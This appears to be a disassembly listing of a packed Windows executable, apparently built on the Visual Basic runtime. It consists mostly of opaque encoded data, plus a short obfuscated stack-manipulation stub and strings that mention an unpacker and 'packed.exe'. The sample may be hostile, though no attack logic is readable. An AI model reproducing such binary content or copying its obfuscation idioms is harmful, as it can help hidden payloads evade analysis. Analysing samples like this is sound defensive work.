dd 0EA1F1D0Eh, 0BA89F5DDh, 0B15146CFh, 0B464CF82h, 82FCB0D9h
dd 193BBA86h, 0C31DA8D1h, 98CF82C0h, 0CE54B180h, 94CF82C0h
dd 0CD72EA29h, 14F9B1B3h, 10Ah, 0F33E43E9h, 73E1F584h
dd 1ACE26C0h, 0AE1A2D5Ah, 7E35CFCEh, 6CE9E009h, 0C64D807Ah
dd 3626AED9h, 2C5BCD57h, 70FBB6A6h, 0F9EE2159h, 7370AFCFh
dd 75548041h, 4D811610h, 45D345C6h, 0A74BCAD3h, 6EC64D85h
dd 0FC0DFA7Ah, 4D848799h, 295CCCC6h, 46E2BDA1h, 0EFD9266Bh
dd 4493908Fh, 33463344h, 4D8450D2h, 1E1503C6h, 82AF029Fh
dd 0B2C751CFh, 25B00FC5h, 0CF82AEBBh, 0FF1E88A0h, 3FD03769h
dd 0BB6D6889h, 0B468A108h, 0FC4AEA3h, 26B4504Fh, 0C37E90A6h
dd 0E0292FF8h, 0BAF09F75h, 0FA28B4D8h, 3E389542h, 6517C55Fh
dd 4237E10Eh, 0BBE09E35h, 6915B9CEh, 78E6ED5Ah, 63BA7394h
dd 0FFE3B675h, 0D9Eh, 909DDDF0h, 0FA235B6Fh, 919AC40Dh
dd 101D5976h, 79A2D8EFh, 0C9005403h, 537B8C91h, 0C70DFA23h
dd 4F798697h, 0E10EFE2Fh, 88A38264h, 10AAD1CFh, 465707CEh
dd 5DC74E3Bh, 0FEC64D80h, 0B82C172Ah, 5EC8B617h, 1D0EA54Dh
dd 0EE6BEA1Fh, 5CF82B0h, 8795FC13h, 0DBCF82B0h, 5F582574h
dd 0C2D4EF6Fh, 0F9B1C31Dh, 0BBC4h, 1ACE0A00h, 8940435Ah
dd 9B57BED1h, 5AC64D85h, 73F90E6Eh, 0CB01DCFCh, 7957C993h
dd 0C6C1A89Bh, 4A3B5212h, 0B4EB8B3Dh, 0C5166150h, 9EA7948Bh
dd 0FB0A612Ah, 9FEA8D6h, 0F8C10700h, 43FEA8D0h, 833119C6h
dd 0E2EBDCCFh, 414BD74h, 0B9BF2817h, 0DDFE45D0h, 8B9DD8BAh
dd 1C42897Eh, 2D9F00Fh, 4F9DA183h, 0B066B2C6h, 63B72DCCh
dd 0C5A17C75h, 0CC2h, 0F4B9B914h, 6E3F3F93h, 0D5C6B811h
dd 743925AAh, 0EDBEBC13h, 0BD146807h, 3F8FF0BDh, 0BB116E3Fh
dd 3BADDAC3h, 3522723Bh, 88A456D0h, 0FC7605CFh, 6816B7D0h
dd 53E0D335h, 0D22DFE7Ch, 845EE7E6h, 0D7C64D80h, 2CC6D741h
dd 435A1ACEh, 0A3D49440h, 603F3F94h, 641AB1C4h, 7DE4DF29h
dd 265359C2h, 829C5A9Fh, 20FF29CFh, 829C6B71h, 988F7CFh
dd 0B1EF2ED5h, 5AB7F9h, 0E3F0000h, 6BEA1F1Dh, 0CF82A442h
dd 63BD4831h, 96CF82A3h, 7CAC3D39h, 626B1CC5h, 198F19F4h
dd 0DF590306h, 0FBD7B71Fh, 27B5142Fh, 3BCF82A3h, 621145D4h
dd 73F9B1D4h, 20h, 1F1D0EFBh, 81F66BEAh, 0CB5DCF82h, 81BF1DD4h
dd 3CA3CF82h, 0F2FAA9DDh, 7EBF9B1h, 73000000h, 8D22Dh
dd 1D0ECD00h, 0EADFEA1Fh, 4D80796Bh, 734EDAC6h, 88A26996h
dd 0E940ACCFh, 7081DB68h, 47D93C4Dh, 0CCF88A2h, 8A7D8A1Ch
dd 43E91E5Eh, 9D33212Ah, 1F60FDDh, 0F44E7A60h, 7BD10102h
dd 32A6E1C8h, 1D2A5B32h, 2CAC5B1h, 5FEE8B52h, 96E33568h
dd 8932B52Fh, 0BF72A6CFh, 0D42523F4h, 0C452DB71h, 7CE4F8D8h
dd 0CC86F072h, 8E7B8C1Ah, 182B5379h, 0F4B9B92Bh, 0BF21A495h
dd 94C64DD4h, 215D7184h, 9CA79AEEh, 52554828h, 0F768389h
dd 0CF82E06Eh, 0BEBE2A1Dh, 3E4EDA03h, 7C54F5C9h, 4721C5D8h
dd 9900000Bh, 24634836h, 827DAEAEh, 0F7081549h, 8483A8D6h
dd 54200D4Dh, 0F06E65B9h, 82F2DC2Bh, 0F6666E99h, 8EEEDA25h
dd 3826F9Dh, 0CF88A721h, 5CB14932h, 0C64D81C6h, 8B7C7C6Bh
dd 88A2E50Ah, 131810CFh, 94E5E334h, 5E3131A3h, 887520CAh
dd 0D409828Fh, 0C4F154DDh, 1FD8C49Bh, 0DD070009h, 8671909Dh
dd 0AAFE114Dh, 5AEEF85Dh, 0BB6DC64Eh, 88497B08h, 6011C5Ch
dd 900690CCh, 5B61CA7Dh, 7AB1A72Eh, 56C2CF89h, 86A21621h
dd 6427E501h, 4754C222h, 0B1EC8C38h, 88B2E044h, 8686554Fh
dd 23FD8871h, 384F88B3h, 5168D1E0h, 0B0EF6F66h, 0F605D54h
dd 5E58BDB9h, 9E43C2CAh, 3346F56Fh, 0A858Fh, 86F4D700h
dd 0FC606A95h, 83FBD02Fh, 0F6606D9Ah, 8BF3DA25h, 0E73BDAA2h
dd 56B17AE0h, 0D02FFC78h, 6C9B80F8h, 0E133F878h, 0A6938DF8h
dd 0B3C8CF88h, 1F1D0E3Bh, 0A64DDFEAh, 0F4E2F8F9h, 793693AEh
dd 0DCCF88E5h, 984C3B4Ch, 0E44ADC39h, 8009CF88h, 88E50B15h
dd 4ED850CFh, 3CEA9037h, 9E27126Fh, 0CF88E444h, 0A25B0117h
dd 76D8F077h, 5A8EF9C8h, 0D740031Ah, 0B91A8D1h, 4DE3774Fh
dd 43C271CCh, 0D8C3FEBAh, 0A19123C9h, 8C801671h, 173FED1Ah
dd 51E1A36Eh, 37A92C5Dh, 1CC64E53h, 3B4C350Ch, 0B888AD89h
dd 0BB070956h, 953F406Dh, 0C0DF9F34h, 17C5B264h, 0EE991Ch
dd 0AA9D944Dh, 0D92E2EFDh, 88FF067Ch, 0AEDB4DCFh, 3222AC9Bh
dd 0A0C0F47Fh, 18588C7Bh, 0FE929005h, 389FCF88h, 45324730h
dd 3BB29189h, 0C007C874h, 477B8456h, 0F7212BB1h, 0FEF4BD3Ch
dd 9187D8C3h, 47A4F68h, 0B9C47F09h, 5ABB1ACEh, 0C64DFEC8h
dd 0A6D6FC8Bh, 1D8B1D67h, 0A5C5EF10h, 6E6EBD6Ah, 0B2173019h
dd 77FBD1CCh, 2458DB56h, 0B4112076h, 0CF88C407h, 0B71E2B5Eh
dd 0CF88832Dh, 8799FA2Eh, 0CCCF8883h, 92D3CA5Ch, 0F02F2FA5h
dd 839690F5h, 53C5CF88h, 5AC1EEC5h, 83D052B3h, 9583CF88h
dd 8E8FF603h, 9DD8BDA2h, 0B718838Bh, 0EE11756Fh, 91958h
dd 0F2606B00h, 88F4DE29h, 0EF6F64A3h, 520CC1BEh, 0E7973E49h
dd 3B8F3EB6h, 0CAB5E694h, 34535804h, 0B0CFDC9Ch, 55376404h
dd 0A837A92Ch, 6F1CCF88h, 5A1ACEC7h, 0F6697F2Dh, 85C25DD1h
dd 3AAED9AEh, 0A920633Ah, 25A9DEB1h, 0A8216639h, 61B053B6h
dd 371213F7h, 0EC3A31CCh, 34C756B9h, 27BBE080h, 0F0842F78h
dd 769h, 22DF100h, 0CD000005h, 0D645245Eh, 5B24A1D6h, 2ACF8298h
dd 97ECF65Fh, 0B96FCF82h, 0A62F1A6Fh, 0CF82973Ch, 0FC740422h
dd 3623A055h, 0B63095E2h, 0A5CF82C0h, 0DF04C073h, 0A28E9257h
dd 0A5992F48h, 30F21DFCh, 0E3BA6C0Bh, 0D6457241h, 3B24A1D6h
dd 4AA9C180h, 1304BFDEh, 0FF38E415h, 53FCD51Ch, 0B8AF3CEh
dd 0A291E185h, 0EF8F394Eh, 345D54B0h, 30A493E4h, 0A81C6B30h
dd 346DC4C8h, 613CAF52h, 82D85h, 0E4C7F00h, 74E8E21Dh
dd 0B7358A7h, 6EE8E522h, 0D38B423Dh, 2F8332CAh, 0CEB9E298h
dd 38475400h, 0C4C3E890h, 494B5010h, 0A92BB520h, 5B30CF88h
dd 1E1ACED3h, 0F24D2DABh, 369FE829h, 0C64E60ACh, 0F02F79AFh
dd 8D9EDCF3h, 0C4A8374h, 9BA18A35h, 81A0E76Eh, 6A5FCF89h
dd 8940F9EBh, 0F3CE5ACFh, 3E493EEAh, 0AC9DEA8Ah, 8940B729h
dd 0E3EB9CCFh, 470E2573h, 0B1EC8C38h, 70DC24B8h, 8EF4D210h
dd 191F08B3h, 0D35465F0h, 0D2A7D8C3h, 4D927173h
dd 0E036E2C6h, 9334A097h, 49299B3Ah, 0B92BAADFh, 9AC64D92h
dd 0F413188Eh, 7A6DA0C0h, 84E32B53h, 0A57561B8h, 774EC7Ah
dd 0BC60000h, 0AD25624Bh, 369BECB1h, 0AB246348h, 4E8582ABh
dd 0C6710B10h, 0FA235B72h, 8895C10Dh, 4295177h, 8C91D103h
dd 0ECF65F88h, 6FCF88AAh, 1D0E921Ch, 0E8DFEA1Fh, 3DBC77E7h
dd 0CF88A1BCh, 1115BD6Fh, 26BC0CA9h, 0B281F9CFh, 0EF08F127h
dd 8778A5C5h, 40EC1D5Dh, 0BA2007A4h, 845EE737h, 0D7CF8907h
dd 67DCD741h, 1B43897Eh, 8C8C5B28h, 191D1A7Bh, 0A438D8BEh
dd 286ECC7Eh, 0DE48CDAEh, 7DC65C7Dh, 63ABFDABh, 756F571Ah
dd 0E356EC0Fh, 35000006h, 0B0CFDC9Ah, 4E39621Ah, 0B3D4D985h
dd 304F5C1Ah, 40BCE199h, 0D48A4195h, 6616B8C7h, 0DA824A35h
dd 6202B6D1h, 0A72E5B39h, 0CF88AA3Dh, 0CEC56D1Eh, 42435A1Ah
dd 8054CE37h, 0D507C64Dh, 98AAC3E4h, 2F02944Ah, 0BDD09044h
dd 831E02CAh, 3D5B75ACh, 61A6792Fh, 0B18F777h, 0F4231180h
dd 0A1DDF601h, 2A54796Eh, 0D342C57Ch, 54CE3742h, 7C64E26h
dd 0BDC24B11h, 7B3B25F0h, 2D09BBC8h, 6D6EB170h, 73D227ABh
dd 0C64D9271h, 0BBE036E2h, 84E57827h, 0E69F0h, 0D0F10000h
dd 346B13B7h, 96B5E1D0h, 35000002h, 435A1ACEh, 93F29780h
dd 0C64D8091h, 0B7C056C2h, 88A2AD4Eh, 6ACC60CFh, 918C3276h
dd 20F8A190h, 98D80CFBh, 134B8285h, 0B2EE3D0Ah, 300D6BD3h
dd 8B7C2A8Ch, 5CA42AE1h, 0A39E741Ah, 8F613B9Ah, 26F2D8C4h
dd 72F2E6D1h, 0CE6A5EA9h, 8614AC84h, 9018C27Ch, 9A3D840Ch
dd 65A27D2Bh, 47A4F6Eh, 0F6297F09h, 95E2EA31h, 835A3730h
dd 0AF226CFh, 7C542FA9h, 0C319ADD0h, 15000005h, 90EFBCBAh
dd 2E59423Ah, 93F4B9A5h, 106F3C3Ah, 20DCC1B9h, 0B4AA2175h
dd 463698E7h, 0BAA22A55h, 422296F1h, 0C74E3B59h, 0CF88AB5Dh
dd 0CEE58DFEh, 42435A1Ah, 0D2E19D35h, 6F37365h, 8BA6D8F1h
dd 0F120EBB8h, 0AE17B622h, 0C64D8034h, 76A7F127h, 84F73FE4h
dd 15A6F0h, 0CCBB0000h, 0A7455818h, 0A41476D6h, 3FF2A4CCh
dd 1422DA7h, 0CECD0000h, 37325A1Ah, 727561AAh, 544BB87h
dd 3B960000h, 0BD15723Bh, 26ABDCC1h, 0BB147338h, 3E95F2BBh
dd 0F6A15B40h, 6A332BA2h, 0D8C5B11Dh, 743921A7h, 0DCC1A113h
dd 0DC46CFB8h, 7FCF88ACh, 1ACE620Ch, 9440435Ah, 5CEB9D4h
dd 8A414659h, 45D0B9D4h, 0C64D80DBh, 63CAA880h, 6C0F0634h
dd 0A6A5E2Dh, 0F7924121h, 4E39F084h, 6FB9D480h, 1AF354h
dd 2D7B0000h, 0C8h, 5CB9D0CDh, 0C64D80CAh, 2CBDBD27h, 0B59945FCh
dd 61000000h, 0EA1F1D0Eh, 0B78AF4DDh, 5CCBBCEh, 5E5F5E55h
dd 0ADCF88A2h, 54798E7Bh, 0FF1E4089h, 881CF3A5h, 94A3E6B9h
dd 0BB4D4020h, 0A1DD47CEh, 0AA7ECF88h, 0FDFBEC97h, 0A2D8890Ch
dd 2DFBD8BDh, 6F8A7AE1h, 0EED4A775h, 47Eh, 0B07DFDD0h
dd 1A037B4Fh, 0B17AE4EDh, 30FD7956h, 9982F8CFh, 0E9E034E3h
dd 735BAC71h, 0E7ED1A03h, 6F59A677h, 1EE1E0Fh, 88ACA284h
dd 30CAB1CFh, 0EA1F1D0Eh, 82CC776Bh, 3F48E0CFh, 0E5913D4Ah
dd 0F66861CEh, 0CC7B6825h, 4C78CF82h, 0CB00FF2Ch, 7C516693h
dd 295C2F02h, 0CC2BB520h, 5CECF82h, 0F5E24659h, 13821023h
dd 62000004h, 6B13B7D0h, 0BCBC2B58h, 0A2B14ACBh, 54C4CF88h
dd 9F9D8E39h, 0ECF65F6Ah, 72CF88A1h, 0E6DF7F3h, 4DDB8C83h
dd 0D98A0B76h, 0FCD8BDD4h, 0F875E02Ch, 0C1DC756Fh, 3D925h
dd 0B2A02B00h, 48349EE9h, 0AFAF2463h, 124C817Eh, 0A7D7FE09h
dd 0FB4FFE76h, 8A75A6D4h, 0F4131844h, 708F9CDCh, 15F72444h
dd 0AD7769ECh, 0AFDCCF88h, 1F1D0E07h, 0A2566BEAh, 0AB7DCF88h
dd 0DDC16B5Eh, 8BB5E913h, 0D28A30C1h, 0F1AC7F08h, 0E3833542h
dd 0BA1BCDBAh, 0D6326D11h, 915A4D40h, 3EE7E8Bh, 36F75500h
dd 0F055E0D3h, 0D8C3AA62h, 6552A771h, 37B5273h, 0FD2E780Ch
dd 7796D602h, 2C5D5BCCh, 82B490A9h, 4935E3CFh, 7C548836h
dd 47B2906Bh, 99000003h, 24634836h, 827DAEAEh, 0F7081549h
dd 8483A8D6h, 54200D4Dh, 0F06E65B9h, 82F2DC2Bh, 0F6666E99h
dd 8EEEDA25h, 3826F9Dh, 0CF88AF21h, 0D0B14932h, 5E669E1Ch
dd 30998D7Ah, 0D212D84Eh, 0D2A34EF6h, 0C3F58231h, 686156A3h
dd 1B483BF6h, 0B9A128A9h, 0A3D442E6h, 4A3D3D94h, 7FE6DD81h
dd 285157C0h, 8399E09Dh, 0C88913CFh, 2E8B6E5Ah, 0A6D6FE09h
dd 0F716028Bh, 8315849Ah, 0F5616DCFh, 9D8C521Ah, 9B33AD14h
dd 1AF5656Ch, 76A4F35Ah, 0D60E8DF0h, 0F9B1E829h, 28B8h
dd 1D0E3E00h, 0EE6BEA1Fh, 5CF82B0h, 76205C72h, 0B0E4FA97h
dd 0F7ECF82h, 0CB04F380h, 7926B88Bh, 68F9B1C3h, 0DAh, 5A1ACEEEh
dd 0D1894043h, 443A8FA8h, 8F04BF49h, 0F6686156h, 0E484303Bh
dd 1C7C0A9h, 0EBDD6A59h, 9F7EFEEAh, 0B8A9305h, 0C64D85E7h
dd 33993AAEh, 0ACDD4Bh, 0A4BC8488h, 0F20218ACh, 0B81F9C4Eh
dd 44432A19h, 0ABDD090h, 0D9EE1B21h, 0B69689F5h, 0F379694Fh
dd 3A099FB2h, 7001C64Fh, 4334CF83h, 0B8E1D08Eh, 9B8C3B60h
dd 0DD7DA961h, 6BBD42FDh, 8AC8B71Eh, 8197D8BAh, 12487F78h
dd 0A7D7FE09h, 6348D257h, 962C4F75h, 1FAh, 0CCD1814Ch
dd 366717BBh, 0CDDE8049h, 3C611DB2h, 0C5D6844Bh, 0A52C802Fh
dd 3797E8B5h, 0A3295647h, 2395F2BBh, 4D3A5A43h, 88AF5EC8h
dd 0E48EFDCFh, 465707CEh, 0C5508F39h, 0C64D805Bh, 897E2800h
dd 0E726567Eh, 0FEA8C8FCh, 0A998C607h, 1D0E36C4h, 0EE6BEA1Fh
dd 5CF82B0h, 60CC2AD7h, 7D2BF795h, 24527B8Ch, 45DB3A0Dh
dd 0ACCF832Ah, 2E593424h, 19D7B6A6h, 3D9467B6h, 0A20DEB3Dh
dd 5954FB73h, 0CB7DF9B1h, 0C5000000h, 435A1ACEh, 0AA328940h
dd 16A8CE48h, 67791A9Bh, 0ECC64E16h, 16AE389Dh, 7BADC64Eh
dd 7B8E7B2Dh, 4E17081Ah, 86A14BC6h, 62DE802Bh, 4A3DF4A2h
dd 4DF407ABh, 0D7F710C6h, 359F8CA7h, 0AD176835h, 6D5D2CDh
dd 0CE06F106h, 7A548F8Eh, 0AC95ACFAh, 83185C29h, 0FC21F7CFh
dd 0ABDCDC4Bh, 0BA78F42Ah, 0C0C95FD8h, 2A5D1DC7h, 7B06BDA1h
dd 815458Ch, 62AAD0F7h, 75635CD5h, 0F39D2954h, 45000000h
dd 0A0DFCC8Ah, 1E69322Ah, 0A3E4C9B5h, 0FF2C2Ah, 0F08C91C9h
dd 0A4DAF145h, 16468877h, 0AAD2FA05h, 12528681h, 77DE0B09h
dd 0CF88B06Dh, 0CE159DEEh, 39465707h, 5BC5508Fh, 0C64D80h
dd 5184687h, 56A3F5A3h, 3CF77761h, 1ACE9D55h, 3742435Ah
dd 4D8054CEh, 4AD507C6h, 0B36144CAh, 15221187h, 0EDDAC3A3h
dd 0FE09FEFEh, 3A3368D0h, 18CCEA41h, 0BFCAB38Eh, 0A41C3A2Dh
dd 5A699ABFh, 89564E7Bh, 7C9385CFh, 101D5D87h, 91CD06F1h
dd 2C172A7Eh, 30E5B8B8h, 26008B8Ch, 0F32A5479h, 7F9EDEF0h
dd 0C9FB1AE5h, 0D4A1F01Fh, 8EF22648h, 0D126972Eh, 99D87274h
dd 7C37E125h, 78A5C5EFh, 537C5D87h, 0E98EC23h, 7BFBD40Fh
dd 841376A4h, 94D400F7h, 27142F79h, 91F0BDBDh, 0F02F2FA6h
dd 6EA1C1F3h, 54798C1Ah, 0B82C172Ah, 301E5B8h, 0E9000000h
dd 3CE9565h, 9D473C53h, 0FC5C2DDh, 0BB13504Fh, 289FE4BBh
dd 0A1285B32h, 2CA1E6B9h, 0A3285B32h, 2B9FE4BBh, 52805C33h
dd 0C281E289h, 4, 4EA81h, 14870000h, 1C895C24h, 0E7895724h
dd 4C781h, 0EF810000h, 4, 5C243C87h, 56243489h, 0C681E689h
dd 4, 8704EE83h, 895C2434h
dd 8868241Ch, 8B093B22h, 0C4832434h, 1C8B5404h, 4C48124h
dd 50000000h, 8B8h, 56D80100h, 49240481h, 8F00B71Fh, 49288100h
dd 5800B71Fh
db 8Bh, 1Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov esi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_552B74
; ---------------------------------------------------------------------------
dw 44D9h
dd 85C9B6A7h, 31A1B834h, 0C503093Bh, 42D8E0FFh, 0D91854B6h
dd 74F555E9h, 10E87A24h, 6998023Ah, 5657090Bh, 15CB3D26h
dd 77CD326Ch, 0FA7A5472h, 395E3E52h, 39016C4h, 70995411h
dd 593D030Ah, 48984AAEh, 939202CBh, 0BD12424Bh, 0CAE55F1Ch
dd 6CA457A4h, 2B8E2CAAh, 4C6F5DDAh, 91B70278h, 4BB568A9h
dd 9DA54E83h, 6D6560D5h, 8D8D5B42h, 93B3387h, 80DABF66h
dd 16298D89h, 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 0E2C454C3h, 8C610727h, 0C7DE8B66h
dd 35287D85h, 677C09h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 0B66D5272h, 0F0DF537h
dd 380h, 0DF8B6600h, 0C7D2B70Fh, 35225585h, 9, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 0BF467806h, 8BC9A41Eh, 0F5B5FF26h, 6A093511h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 0BEB1C352h, 21DE71B4h, 95FF00B3h, 9350D05h, 9E9h, 573C2400h
dd 0E2C6B49Fh, 6A0AA1h, 82995FFh, 0C08B0935h, 8C975CEBh
dd 59D75859h, 514DE381h, 0B1F030DCh, 0C524DB26h, 26EC294Ah
dd 430B93E8h, 0C9FDEF9Dh, 27949252h, 0D1754A99h, 4CB49D86h
dd 9AC76D3Dh, 671E4034h, 76B82558h, 409F43EDh, 353EED13h
dd 0BF4BD804h, 60ACDC0Dh, 4B34C355h, 542FE4FBh, 1E1D438Bh
dd 39B3AA3Ah, 0C9BED8E1h, 0CE85C1Dh, 41000000h, 71F25418h
dd 0A09748AFh, 8BEC8531h, 351D9DB5h, 8D8B5809h, 9351AE1h
dd 5E25C081h, 890F0000h, 0Eh, 9E9h, 0D6548C00h, 0CC95C304h
dd 5C68FE7Eh, 9000017h, 350825BDh, 0BE665B09h, 388B5F1Ah
dd 0CE9h, 93553000h, 64A7D2E6h, 4A26AE69h, 8EF81CCh, 8B5DCEFCh
dd 35179995h, 46F78109h, 0E84E0617h, 8, 0E1C5E5FDh, 0AF8EE42Ch
dd 0FE9h, 0BDEAFF00h, 82D4E6BDh, 1A0AC4BCh, 4BEF3B6Ah
dd 0CFF7815Eh, 664D9684h, 0AF8F281h, 0DE816657h, 8F5F88h
dd 13E18D29h, 0E8830935h, 15952901h, 48093510h, 4BF84848h
dd 0FF8C850Fh, 0F78AFFFFh, 354C8D8Dh, 0EBBE093Bh, 8968C26Ah
dd 3516298Dh, 0CE816609h, 85C7DC92h, 935287Dh, 68D0h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0EBC35545h, 0C7F8752Fh
dd 35225585h, 9, 0CB8B6000h, 0BE8h, 703CEF00h, 51861D3Bh
dd 0A4FDC047h, 0FF615BFCh, 350C45B5h, 2D9D8B09h, 8B09352Dh
dd 352D4DB5h, 595FF09h, 6A09350Dh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 542BC355h
dd 16B5FE67h, 918D890Dh, 6A093522h, 2995FF00h, 8B093508h
dd 0BD48EBC0h, 39CD7813h, 67A3BA6Bh, 6BAB2107h, 886B377Ch
dd 0FA2A381Bh, 34DCF5A4h, 4F709B2h, 0F2262692h, 0C8BD973Bh
dd 888443A4h, 2C072CCAh, 0E40C3E92h, 53C7DC6Eh, 0C87E0EA3h
dd 1BE959AFh, 8031B5ABh, 0A0D1275Ch, 0E8DA38ABh, 0Ch, 0E3D2EAB2h
dd 50C8E9D4h, 0C275457Bh, 9E8h, 0A475AF00h, 0D9C3A8DEh
dd 8166EA17h, 5A3E66F1h, 5DBD8B5Eh, 8109351Fh, 5EE0C6h
dd 5E900h, 3E490000h, 689608F9h, 178Ah, 1F75BD89h, 0B6580935h
dd 0B36FF33h, 35018995h, 0B70F5B09h, 0F9EB81F9h, 8B3F3D4Eh
dd 351BFD8Dh, 1CEB8109h, 8B705B98h, 35274DBDh, 86EB8109h
dd 0F91D6C8Bh, 8B661E89h, 0CCEE81F8h, 0E807A8D6h, 5, 0DD2DD2E4h
dd 198B0F82h, 0E8000000h, 13h, 0B200D03Eh, 9CEA1C7Dh, 5FF3A918h
dd 0FBBCE79Bh, 5FD788C7h, 0C8C6815Ah, 6607A8D6h, 48B4DDB9h
dd 0FF8F850Fh, 0BD89FFFFh, 935049Dh, 15CE9h, 0E705C500h
dd 5C3A4377h, 6E755F6Dh, 6B636170h, 70007265h, 656B6361h
dd 78652E64h, 65h, 3Ah dup(0)
db 0
a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain db 'ThunRTMain',0
a__vbavartstne db '__vbaVarTstNe',0
db 0F6h, 33h, 0A7h
dd 1A86E95Ch, 0C2680000h, 0E9093B39h, 0FFFA470Ch, 3B3AC468h
dd 4702E909h, 8868FFFAh, 0E9093B3Bh, 0FFFA46F8h, 3B3C6468h
dd 46EEE909h, 0A368FFFAh, 0E9093B3Ch, 0FFFA46E4h, 3B3D6D68h
dd 46DAE909h, 0C068FFFAh, 0E9093B3Dh, 0FFFA46D0h, 3B3E0768h
dd 46C6E909h, 1168FFFAh, 0E9093B44h, 0FFFA46BCh, 3B44AA68h
dd 46B2E909h, 5268FFFAh, 0E9093B45h, 0FFFA46A8h, 3B466168h
dd 469EE909h, 0B968FFFAh, 0E9093B46h, 0FFFA4694h, 3B477F68h
dd 468AE909h, 3968FFFAh, 0E9093B48h, 0FFFA4680h, 3B48AE68h
dd 4676E909h, 9968FFFAh, 0E9093B4Fh, 0FFFA466Ch, 3B507568h
dd 4662E909h, 0F468FFFAh, 0E9093B50h, 0FFFA4658h, 4D4E6BC9h
dd 920B968Bh, 574451CEh, 8B1089A1h, 603D5CD5h, 0CD642653h
dd 1209CFCCh, 0CC621687h, 160ACECFh, 701C1489h, 0FB098832h
dd 6C4F7C12h, 43AE2B47h, 0AA11DF9Fh, 0AAE5295Ch, 435CD04Ah
dd 623A8D5Ah, 0E731346Ah, 0CFF11502h, 0CB24154h, 0E6ECD6h
dd 28C6E813h, 619016CCh, 0E6EDD3h, 4D37AE13h, 8559418Ch
dd 392692h, 2E650000h, 0B903A19Bh, 0AD1C3641h, 0F709C52Bh
dd 0EE9A5A7Fh, 37265B0h, 0DE159B15h, 111684Eh, 19869813h
dd 0CBC866DAh, 7064C128h, 0DBC91C75h, 8529CB02h, 0E99C92h
dd 47EB0000h, 0F3C8802Bh, 261AC527h, 3D8529C8h, 0E91C9ACDh
dd 108A6A89h, 0FF718019h, 64567663h, 0CCF6ACCBh, 0C81C357Ch
dd 0A729C826h, 7C537927h, 0A1471C35h, 9628CE55h, 8A17089Dh
dd 0EB0B8D64h, 0B7E4FD71h, 3580E725h, 86130F1Ch, 0D2CF6315h
dd 4901941Fh, 0A7185F85h, 24961502h, 0E2668D0Ah, 613A5C12h
dd 735B3386h, 56438917h, 0B1371300h, 4D520211h, 0E51157A4h
dd 0F56B9539h, 68760CE8h, 0C0BCC3Dh, 0A0B8428Ah, 0BC38BC37h
dd 6277EE10h, 2BAEC739h, 0A1D694BBh, 806A09E9h, 17F7h
dd 0A9F2D785h, 0FE9F3A37h, 0A3F8E57Ah, 475445DDh, 9C019891h
dd 920EA9Fh, 0DE550B90h, 1EE2BBh, 0DA560A93h, 0A4E8E0BDh
dd 0FB08B4FEh, 0A023B012h, 0F2AB2E47h, 0B8E5F26Eh, 9E24BA0Eh
dd 0A41C3641h, 3641B4FEh, 942EB01Ch, 2E3BE212h, 0D50BC39Bh
dd 1503724Ah, 3BC928AEh, 13011195h, 0E4E5CF56h, 928529A9h
dd 0D2BEh, 0AD150D00h, 1C2BDEDCh, 0AB3995E6h, 1C358421h
dd 0E9639315h, 2C606C75h, 35844C76h, 4EA6481Ch, 99912BCFh
dd 84FAC0DEh, 0E8EE1C35h, 8D69EB06h, 4F7F1A13h, 0CD24B5ADh
dd 9424AB4Bh, 1C358876h, 0B915829Eh, 88E5CF15h, 0BFE11C35h
dd 829E6237h, 4651DE15h, 0DDA03E8Eh, 0DD1502AEh, 0C15E4BE3h
dd 24DA1AD4h, 0E7724A82h, 2EE12A75h, 1FB8B04Eh, 0C7A450D4h
dd 0D9F5ADF8h, 0CC441ECBh, 0FCD0D60Bh, 82716E02h, 0A852F6FEh
dd 0ED7328B1h, 5C816574h, 41E9A1E9h, 16F5B8A2h, 0D1830000h
dd 3C31A7F4h, 0EF80F8A5h, 3F37A9F2h, 0E67F019Ah, 98F1AAF3h
dd 3D5E7BF2h, 6835A0BBh, 3C617EF0h, 6E2FA8C4h, 0E6CC12BAh
dd 0E212FB07h, 2E4712B1h, 0F26EF2ABh, 1513B8E5h, 976974EBh
dd 84F6FE9Bh, 7267FFE8h, 0F3FD7Fh, 9607908Ch, 0A626FEC9h
dd 3591DF8h, 0F1DD0315h, 0B54154CFh, 26189E2Eh, 8CD91301h
dd 188EBF98h, 0B6D99285h, 0BA000000h, 0D2E50449h, 1D0CD2FAh
dd 1B150355h, 0C3BB8995h, 5EBF77CEh, 0A53B934Bh, 3753A376h
dd 4E705C82h, 0B130C4D1h, 13BB9326h, 73933BCDh, 2E47B940h
dd 0B638A5BBh, 2B47B93Bh, 35C143AEh, 4B75597Fh, 0FD1CAD7h
dd 355E8613h, 68C742A8h, 1631E1C9h, 9DBF0000h, 809D6338h
dd 63FC8419h, 0BBB32576h, 62FB7D1Eh, 1C6D2677h, 0B9E2F76Eh
dd 0F4A92C47h, 0B8E5F26Ch, 0EAB32C40h, 72588646h, 6612FB06h
dd 2B479635h, 0DF9F43AEh, 8BA6BE45h, 6161E30Eh, 0FFC3FF5Ah
dd 7C37D0F4h, 9E29CD96h, 4973310Bh, 3D1C3584h, 6B79559Bh
dd 15029BACh, 128FA01Ah, 0F1AA2CE2h, 0E5044942h, 0CD2FAD2h
dd 1503551Dh, 0BB89951Bh, 91E9A1DFh, 0D6896F3Ah, 0F2E29EFh
dd 315D717Fh, 18AD4973h, 0FDE4798Eh, 0F7AD21C7h, 8E18ADCDh
dd 2BCF27C9h, 0E5BFA675h, 0A54C5286h, 7663FF01h, 0E8A0F37Eh
dd 0B748BEE4h, 14A68DE5h, 0F3757C1Dh, 48FFC5DBh, 0F5FB8E25h
dd 814D5301h, 0A5F6E37Fh, 62803F33h, 8E254858h, 0B9B44A4Ch
dd 0D316CE20h, 0CA77B0C3h, 15553F27h, 71E30000h, 9C914754h
